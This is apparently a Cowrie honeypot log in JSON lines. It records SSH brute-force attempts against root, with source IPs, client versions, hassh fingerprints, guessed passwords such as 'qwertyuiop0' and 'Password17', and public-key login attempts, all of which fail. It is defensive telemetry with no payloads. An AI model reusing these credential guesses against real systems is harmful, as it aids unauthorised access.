{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:30.616631Z","src_ip":"38.93.206.2","session":"a998ac63131b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"simmons","message":"login attempt [root/simmons] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:30.768669Z","src_ip":"38.93.206.2","session":"a998ac63131b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:31.820822Z","src_ip":"38.93.206.2","session":"a998ac63131b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":37219,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd65965770af","protocol":"ssh","message":"New connection: 14.55.144.22:37219 (159.203.135.109:22) [session: cd65965770af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:39.548393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:39.556514Z","src_ip":"14.55.144.22","session":"cd65965770af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:39.768295Z","src_ip":"14.55.144.22","session":"cd65965770af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop0","message":"login attempt [root/qwertyuiop0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:40.634152Z","src_ip":"14.55.144.22","session":"cd65965770af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:41.844419Z","src_ip":"14.55.144.22","session":"cd65965770af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.195","src_port":60170,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ce627dd68ef","protocol":"ssh","message":"New connection: 118.26.36.195:60170 (159.203.135.109:22) [session: 5ce627dd68ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:46.335223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:46.339510Z","src_ip":"118.26.36.195","session":"5ce627dd68ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:46.561676Z","src_ip":"118.26.36.195","session":"5ce627dd68ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"TEST123","message":"login attempt [root/TEST123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:47.485263Z","src_ip":"118.26.36.195","session":"5ce627dd68ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:48.710197Z","src_ip":"118.26.36.195","session":"5ce627dd68ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.326038122177124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:48.799481Z","src_ip":"107.6.151.170","session":"1ff8e45fdf94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.101.45","src_port":51982,"dst_ip":"10.17.0.5","dst_port":22,"session":"605ada769c23","protocol":"ssh","message":"New connection: 81.177.101.45:51982 (10.17.0.5:22) [session: 605ada769c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:50.495474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:50.501604Z","src_ip":"81.177.101.45","session":"605ada769c23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:50.625172Z","src_ip":"81.177.101.45","session":"605ada769c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password17","message":"login attempt [root/Password17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:51.134979Z","src_ip":"81.177.101.45","session":"605ada769c23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:52.270834Z","src_ip":"81.177.101.45","session":"605ada769c23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.170.38","src_port":35012,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c1562b20a29","protocol":"ssh","message":"New connection: 160.22.170.38:35012 (10.17.0.5:22) [session: 3c1562b20a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:53.914781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:54.060469Z","src_ip":"160.22.170.38","session":"3c1562b20a29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:54.376241Z","src_ip":"160.22.170.38","session":"3c1562b20a29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deng1988","message":"login attempt [root/deng1988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:56.506094Z","src_ip":"160.22.170.38","session":"3c1562b20a29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:57.902382Z","src_ip":"160.22.170.38","session":"3c1562b20a29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.50","src_port":54354,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a82a29bfd9e","protocol":"ssh","message":"New connection: 92.118.39.50:54354 (159.203.135.109:22) [session: 7a82a29bfd9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:10.688528Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:10.794338Z","src_ip":"92.118.39.50","session":"7a82a29bfd9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.127.99","src_port":53628,"dst_ip":"10.17.0.5","dst_port":22,"session":"447816f5ab22","protocol":"ssh","message":"New connection: 50.7.127.99:53628 (10.17.0.5:22) [session: 447816f5ab22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:12.262885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:12.266852Z","src_ip":"50.7.127.99","session":"447816f5ab22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:12.356099Z","src_ip":"50.7.127.99","session":"447816f5ab22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:e8:47:ec:15:0b:67:bf:fd:19:15:8a:db:a4:e5:bb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK/7k+nYXcwAD0X1//D0kxpxJKUvVlbavfi+mAmohwig","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 30:e8:47:ec:15:0b:67:bf:fd:19:15:8a:db:a4:e5:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:12.763847Z","src_ip":"50.7.127.99","session":"447816f5ab22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:e8:47:ec:15:0b:67:bf:fd:19:15:8a:db:a4:e5:bb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK/7k+nYXcwAD0X1//D0kxpxJKUvVlbavfi+mAmohwig","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:12.766589Z","src_ip":"50.7.127.99","session":"447816f5ab22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:57:23:08:4e:50:cd:21:a9:1e:1e:5f:08:b6:b1:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD3nMXmVFdVJhv0+vB0tl4u9Zw42aI3Enxpz2g39iSWC9IxBqJ+kpp+Q94sxe4IGbYJajJQ6u1CiHcWVJC6lQpdBJZPLWUPs8flt3RlVTGFcWCKE8VUhJTnHJqAn0yS9zja3qbUFcrxz4pHzO/Y2JMISy9BS81E+zPFr/UaqDAV1kIJAfu4MyfmBbSG4Lu/ZOUymrrfB/0HCtlT2AtTsv5wdaWziEpVzfFZb9i2BQe2z7Vor8nj/6/snEyx7PbMEq05Z1Hw6/9khxG//YCgzUeaTS3Kg3cdz2WVpjzYzZiRe0oovmxtDjVpTpKt+UwXnjIEtK22XrVweI7Ayj/IQhHH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:57:23:08:4e:50:cd:21:a9:1e:1e:5f:08:b6:b1:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:12.852622Z","src_ip":"50.7.127.99","session":"447816f5ab22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:57:23:08:4e:50:cd:21:a9:1e:1e:5f:08:b6:b1:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD3nMXmVFdVJhv0+vB0tl4u9Zw42aI3Enxpz2g39iSWC9IxBqJ+kpp+Q94sxe4IGbYJajJQ6u1CiHcWVJC6lQpdBJZPLWUPs8flt3RlVTGFcWCKE8VUhJTnHJqAn0yS9zja3qbUFcrxz4pHzO/Y2JMISy9BS81E+zPFr/UaqDAV1kIJAfu4MyfmBbSG4Lu/ZOUymrrfB/0HCtlT2AtTsv5wdaWziEpVzfFZb9i2BQe2z7Vor8nj/6/snEyx7PbMEq05Z1Hw6/9khxG//YCgzUeaTS3Kg3cdz2WVpjzYzZiRe0oovmxtDjVpTpKt+UwXnjIEtK22XrVweI7Ayj/IQhHH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:12.855448Z","src_ip":"50.7.127.99","session":"447816f5ab22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:e4:20:7e:66:eb:9f:6f:e5:44:f4:6a:c1:e8:e4:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDcur22ogTUgXTkQM5O7I4pwr+8fKjP1T1eFWRa4qavMmYBq8ghDs+S3mDzlEVf27zKCzC05uqKQju+/jTX1GGUzagm3txTNI/Gu3FttfTj9df35ZBN1vDGCgVks+OQBIiIE4FNBtTTILj15B3NxhsZmynld5vFDOKrysR72EFzxLWd90aMUKzk5QiE5AUI39UDoaXheY79l8ULHXmHgM/Yj4Tdtr9IB0meYB3SzEKfpMGfNRLonJZETuXVm0DOpoVk7Mcyfg0/osUQayrxgYSnq8TVIEGby+2RlhYb0JEyblriNAewIPoyobHoU3Zi/Rm+vPzkop6ylLfoBXoKJc62cwGM1B/cqmKulLQecJXPdmxRtovmnKaqDi+SntMKy09HN2NnCDyyKtv0I8OeEhXdHsJU6zCPPE61yQsg+G0DyNOaOZRqoTu2XZGMotXObZMnI07IrE73NR4C7SePu515Nw/jcIUvBoqmO7Av/GPtIuUMU6tzYydbj8fHBAMnOlE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:e4:20:7e:66:eb:9f:6f:e5:44:f4:6a:c1:e8:e4:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:12.946572Z","src_ip":"50.7.127.99","session":"447816f5ab22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:e4:20:7e:66:eb:9f:6f:e5:44:f4:6a:c1:e8:e4:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDcur22ogTUgXTkQM5O7I4pwr+8fKjP1T1eFWRa4qavMmYBq8ghDs+S3mDzlEVf27zKCzC05uqKQju+/jTX1GGUzagm3txTNI/Gu3FttfTj9df35ZBN1vDGCgVks+OQBIiIE4FNBtTTILj15B3NxhsZmynld5vFDOKrysR72EFzxLWd90aMUKzk5QiE5AUI39UDoaXheY79l8ULHXmHgM/Yj4Tdtr9IB0meYB3SzEKfpMGfNRLonJZETuXVm0DOpoVk7Mcyfg0/osUQayrxgYSnq8TVIEGby+2RlhYb0JEyblriNAewIPoyobHoU3Zi/Rm+vPzkop6ylLfoBXoKJc62cwGM1B/cqmKulLQecJXPdmxRtovmnKaqDi+SntMKy09HN2NnCDyyKtv0I8OeEhXdHsJU6zCPPE61yQsg+G0DyNOaOZRqoTu2XZGMotXObZMnI07IrE73NR4C7SePu515Nw/jcIUvBoqmO7Av/GPtIuUMU6tzYydbj8fHBAMnOlE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:12.950016Z","src_ip":"50.7.127.99","session":"447816f5ab22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:37:d1:49:22:f9:9d:b0:43:ee:59:33:2c:ac:d6:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChlVDjtX/zTowEa9JOkP6SmJpIQPhDoTouLUy8U2ldE5lohDlkyP0kjJ1J8Cn0Xc6xIF48L+EBuv7Pk39sx0tK1Y18XTc023kFqjamDv1J27aXJc7bj4A2NryqNvKV5YzFfT5hXiJt+zX1SdGSIgXA/VfH6yIx/nEtbMBtqTCnosvkvno6K1t/edKNYetsbdnhtViJLtnkURqJkK4xLpQvom5vGeLnadhlI4fNtFVE7Uu07ae7/DcJxY2nuA+raNBzFj1vgghk1o0s7U+Z+Dkc1os9rkE2MiQrKPeKEzmmKcgw9hBmsBj6xe5WpTLK4qXJdS+l3OUVoNIrEW4gOaKf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:37:d1:49:22:f9:9d:b0:43:ee:59:33:2c:ac:d6:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:13.036408Z","src_ip":"50.7.127.99","session":"447816f5ab22","protocol":"ssh"}
